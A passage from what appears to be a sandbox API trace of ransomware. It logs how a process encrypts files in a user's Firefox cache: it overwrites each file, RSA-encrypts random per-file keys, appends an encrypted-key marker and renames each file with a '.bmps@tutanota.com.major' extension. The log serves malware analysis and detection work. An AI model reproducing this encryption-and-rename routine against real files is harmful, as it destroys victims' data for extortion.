pszString="p6XnNz/8fd4bqWc+Pde0SL3qtSmGW2mTFnp+WvIjsIo0ntPBtAwdMW5SzFFA8IpJ\nX5kyrLHGwyhCRaVYd8IOO7l+8E6B6KSPFbdsE00+E3VwzLEI1GZd7chxdWIsA0rz\nSZw64EgSp+a+8hXhM589bPbWT+Sqw3Oozvkq/oAuy/8EapAb+nwoxTX4eoxB9i1J\nCTqrz3Mua5EKQSZLT/EpkOZMt/GHq0dTD3bhc1iwDNZOc7hl63ytZkYA3d2W/mCT\nHChIjp9hxurBhW1aIf49Iis0whG0HnLyW7WW0EbS8RW22VjY3GGLxzpQHvucGeBB\ngWqAQh6TLr2D+FWhDhrCZg==\n", pcchString=0x2e3f9a8) returned 1 [0258.066] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.066] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.066] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.066] CloseHandle (hObject=0x1b84) returned 1 [0258.067] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B2C9D611FEE55171F4DC8FD4FC38E543CE2887C1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b2c9d611fee55171f4dc8fd4fc38e543ce2887c1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B2C9D611FEE55171F4DC8FD4FC38E543CE2887C1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b2c9d611fee55171f4dc8fd4fc38e543ce2887c1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.072] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.072] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B10CE1D7881CC749600549E34B9FADBC54FB9FB4", dwFileAttributes=0x80) returned 1 [0258.073] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xb92, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xb92, lpOverlapped=0x0) returned 1 [0258.074] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.074] WriteFile (in: hFile=0x1b84, lpBuffer=0x344abf0*, nNumberOfBytesToWrite=0xb92, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344abf0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb92, lpOverlapped=0x0) returned 1 [0258.075] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb92 [0258.075] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.075] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.075] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.075] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.076] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.076] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="U20nzNaxWYu8Gm5HfYdsV2pmjw2WELkIdhgf0dTSzREr5WJQiXHgJhVfeQ5/XfqB\nHLVJxRWYqZdmDMy3rGykkn6wEz3QerACFRX0mPgX7Tat/LHamqSs+wcKQEn1/9Js\nMNh/6GjvZcNOiGsrucKc89bIyGFb988dt0SFTbaToZW2q61j6ONxbytF9KnE+KaB\nytiQrx4svqm9kjpjCZ3mSbDyJeIAuaiPxrIYJZ4Uy+0KLL741uZGZFP4WmXF2TvV\nHMDcW7vsJpDX5W2qm9hp5sW4E4JtPCzGCqhEQCZx4C12cSP0GrpiVx14gbT94qVm\nRExtsu1Ww5q1NBM/8H9eVA==\n", pcchString=0x2e3f9a8) returned 1 [0258.076] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.076] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.076] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.076] CloseHandle (hObject=0x1b84) returned 1 [0258.076] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B10CE1D7881CC749600549E34B9FADBC54FB9FB4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b10ce1d7881cc749600549e34b9fadbc54fb9fb4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B10CE1D7881CC749600549E34B9FADBC54FB9FB4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b10ce1d7881cc749600549e34b9fadbc54fb9fb4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.078] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.078] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B0BB8E7A612CE55D154E5DE8D2FF82496BD452C1", dwFileAttributes=0x80) returned 1 [0258.078] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x1169, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x1169, lpOverlapped=0x0) returned 1 [0258.228] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4457, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.228] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b1c8*, nNumberOfBytesToWrite=0x1169, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b1c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1169, lpOverlapped=0x0) returned 1 [0258.228] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1169 [0258.229] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.229] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.229] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.229] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.229] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.229] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NjTO7GX7JK9pwSJJYO/TFi9FQ5uiWFVUnqcAwVgIUMdTtE2PYIIwnW9ldGRAdbz+\nqpKP2KCj5vlmdA/QQp9mENmhACaCPBeqoWPtQd4wlqwgU1b+qYOgbRgoPlQHYQ02\nLpWVdMjxUr3rGyQz+Vll2vzYM7EgkcJabSwud/iY+76ocuFH3Rmj7As9DNEj4L3p\n6MEgSdUNMtLe8SRk8BausIvMuOeJZ99CniFYLFvT/eo4lc4F2KaOiU5faiOvKmke\n0EFvgdbGV5wgLQ5DMOmxg8SVfD+FmcAdM/w3kZxOj0E+/Xj8dJL8j6qmBC9YPgh0\ngXwYlwVeZ+91sriykkdZDw==\n", pcchString=0x2e3f9a8) returned 1 [0258.229] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.230] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.230] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.230] CloseHandle (hObject=0x1b84) returned 1 [0258.230] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B0BB8E7A612CE55D154E5DE8D2FF82496BD452C1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b0bb8e7a612ce55d154e5de8d2ff82496bd452c1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B0BB8E7A612CE55D154E5DE8D2FF82496BD452C1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b0bb8e7a612ce55d154e5de8d2ff82496bd452c1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.232] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.232] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B090C2A1718A72751B4F0E82381DB6E9E1B4BA9E", dwFileAttributes=0x80) returned 1 [0258.232] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x976e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x976e, lpOverlapped=0x0) returned 1 [0258.234] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-38766, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.234] WriteFile (in: hFile=0x1b84, lpBuffer=0x34537c8*, nNumberOfBytesToWrite=0x976e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34537c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x976e, lpOverlapped=0x0) returned 1 [0258.234] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x976e [0258.234] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.234] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.235] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.235] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.235] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.235] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WQjmj774JL7J9PIDDLR1exW/t8X4Pa0tJAE2S5JiJr+rLIkUEYj1bgBDpLouxit5\nrnB9HajYNlyDAbAkXMDtil9Gt8jAAX4g+NFXpnfAkkRHvhN9P2NTaKmBme1eox9W\n6kIq6mSJ+QPhuF4H276qbKrUEU9h70juefdQ9W5gqsTg2srnGDDuti9S2RIwh/ZZ\nOeT12SpMRq/UNxtBOqnJ9TcboGGjzQInVs6RkNlCGG1JfKBqb3bC1fzXvN68PQrg\nCDJK3/5xXIEFKxbcvP0OHgjUgw7k8ZjZmXgfWU15avenTQnMAZZkQIjB7vUKT9/i\nUK1/L+WUQbJ+0zUvTBMkQA==\n", pcchString=0x2e3f9a8) returned 1 [0258.235] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.235] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.235] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.236] CloseHandle (hObject=0x1b84) returned 1 [0258.236] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B090C2A1718A72751B4F0E82381DB6E9E1B4BA9E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b090c2a1718a72751b4f0e82381db6e9e1b4ba9e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B090C2A1718A72751B4F0E82381DB6E9E1B4BA9E.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b090c2a1718a72751b4f0e82381db6e9e1b4ba9e.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.239] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.239] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B06646AD5F1441555865045F21A52C8BBF2E7CB3", dwFileAttributes=0x80) returned 1 [0258.240] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xc7d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xc7d, lpOverlapped=0x0) returned 1 [0258.261] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3197, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.262] WriteFile (in: hFile=0x1b84, lpBuffer=0x344acd8*, nNumberOfBytesToWrite=0xc7d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344acd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc7d, lpOverlapped=0x0) returned 1 [0258.262] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc7d [0258.262] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.262] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.263] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.263] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.263] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.263] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Cg7QH6H2w+Ng0Mmu88LKMFuV+bPkh3/6lSXQz7oRidp9qDqfaNC2r4A1f92ggbRp\n+TAyl6a31AYFL4fegTpmJ+74d8xAMbfsRvH0gEvrjFklC5eMCeUVF6EIDi4AvU1j\n7wxskFFUeWJsS9MPp0krf4FD+dWEtzwY4bEZoOCP7j5AzkdZCnBMeKGl6n8wWtxl\nrYmdMF/w5VCUQQKx7KB7tOGJLUocanXNSIuhIMIOzUU56eznmZabtJCuUbWcfJxO\nAPpFDa1baAQYB4l3YuLCfM3MmiAEEz66VANRXX9wHSSWNOkYflfMqjRzkC0wHNA8\n+OTozPBlyzlwk4vI50dbYQ==\n", pcchString=0x2e3f9a8) returned 1 [0258.263] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.263] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.263] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.264] CloseHandle (hObject=0x1b84) returned 1 [0258.264] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B06646AD5F1441555865045F21A52C8BBF2E7CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b06646ad5f1441555865045f21a52c8bbf2e7cb3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B06646AD5F1441555865045F21A52C8BBF2E7CB3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b06646ad5f1441555865045f21a52c8bbf2e7cb3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.266] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.266] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AFCD4E2171F687885CA634257BE22688068A88DB", dwFileAttributes=0x80) returned 1 [0258.266] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0258.299] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.299] WriteFile (in: hFile=0x1b84, lpBuffer=0x344af50*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344af50*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0258.300] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef4 [0258.300] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.300] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.300] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.300] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.301] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.301] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AnMyL3Kaub1jgvlwwfLwNCNGwzmYmUfcAaGo0u9Elo+y665vSiLate6bXhT/jqZ8\n/cAdQBG7FQCkbs0H3jvE1ZLJvDq877VfHpQgO3r1SI2WogI8CJrSIfb27XHwCBUv\nTV4I+fNuvyiiDnjNYdlnDW9Otic8a1poUndBA1M/3Aq0dzOvjopgaOJsbR/J6LBO\nQlXg7QdGkZNaWZRBLtMlQaWpV+eH6BPULm5RvqKApArMN427jaAzdwB9qfxAloZ9\niENXNTdzySe3+qX6GNBqakkV5Ldb5OHSSY5lHB3/glQ2PH18bc+kRkxhKCIVC4cg\nVJMfnZIRIp6alwpx6INClw==\n", pcchString=0x2e3f9a8) returned 1 [0258.301] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.301] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.301] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.301] CloseHandle (hObject=0x1b84) returned 1 [0258.302] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AFCD4E2171F687885CA634257BE22688068A88DB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\afcd4e2171f687885ca634257be22688068a88db"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AFCD4E2171F687885CA634257BE22688068A88DB.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\afcd4e2171f687885ca634257be22688068a88db.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.304] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.304] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD7A5673189C3D8259E7B3FE0033E19E1674CC68", dwFileAttributes=0x80) returned 1 [0258.305] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x3bac, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x3bac, lpOverlapped=0x0) returned 1 [0258.343] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-15276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.343] WriteFile (in: hFile=0x1b84, lpBuffer=0x344dc08*, nNumberOfBytesToWrite=0x3bac, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344dc08*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3bac, lpOverlapped=0x0) returned 1 [0258.344] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3bac [0258.344] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.344] WriteFile (in: hFile=0x1b84, 